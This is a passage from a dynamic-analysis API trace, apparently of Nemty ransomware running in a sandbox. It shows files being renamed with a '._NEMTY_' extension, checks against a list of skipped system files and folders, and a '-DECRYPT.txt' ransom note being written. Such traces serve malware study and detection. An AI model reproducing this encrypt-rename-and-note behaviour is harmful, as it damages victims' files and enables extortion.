lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.765] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.765] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.781] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.796] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.796] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.796] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0142.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0142.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0142.802] CloseHandle (hObject=0xffffffff) returned 0 [0142.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0142.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0142.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0142.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0142.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0142.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0142.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\logo.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\logo.png._nemty_kgobjgd_")) returned 0 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0142.803] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a78d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x36a78d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x36a78d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0142.803] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0142.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0142.803] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0142.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0142.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.804] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0142.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.804] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a78d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x36a78d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x36a78d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0142.804] FindClose (in: hFindFile=0x3423a30 | out: hFindFile=0x3423a30) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0142.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a0 | out: hHeap=0x4f90000) returned 1 [0142.804] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="RSSFeeds.Gadget", cAlternateFileName="RSSFEE~1.GAD")) returned 1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2=".") returned 1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="..") returned 1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="...") returned 1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="windows") returned -1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="$RECYCLE.BIN") returned 1 [0142.804] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="rsa") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="NTDETECT.COM") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ntldr") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="MSDOS.SYS") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="IO.SYS") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="boot.ini") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="boot.ini") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="AUTOEXEC.BAT") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="ntuser.dat") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="desktop.ini") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="CONFIG.SYS") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="RECYCLER") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="BOOTSECT.BAK") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="bootmgr") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="programdata") returned 1 [0142.805] lstrcmpiW (lpString1="RSSFeeds.Gadget", lpString2="appdata") returned 1 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0142.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.Gadget", lpUsedDefaultChar=0x0) returned 15 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.Gadget", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0142.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RSSFeeds.Gadget", cchWideChar=15, lpMultiByteStr=0x653f250, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RSSFeeds.Gadget", lpUsedDefaultChar=0x0) returned 15 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942a0 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.805] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0142.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0142.805] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0142.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.815] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.815] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0142.816] CloseHandle (hObject=0x1e8) returned 1 [0142.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0142.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94218 | out: hHeap=0x4f90000) returned 1 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94218 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94328 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f943b0 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0142.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0142.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0142.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0142.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0142.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0142.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0142.817] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 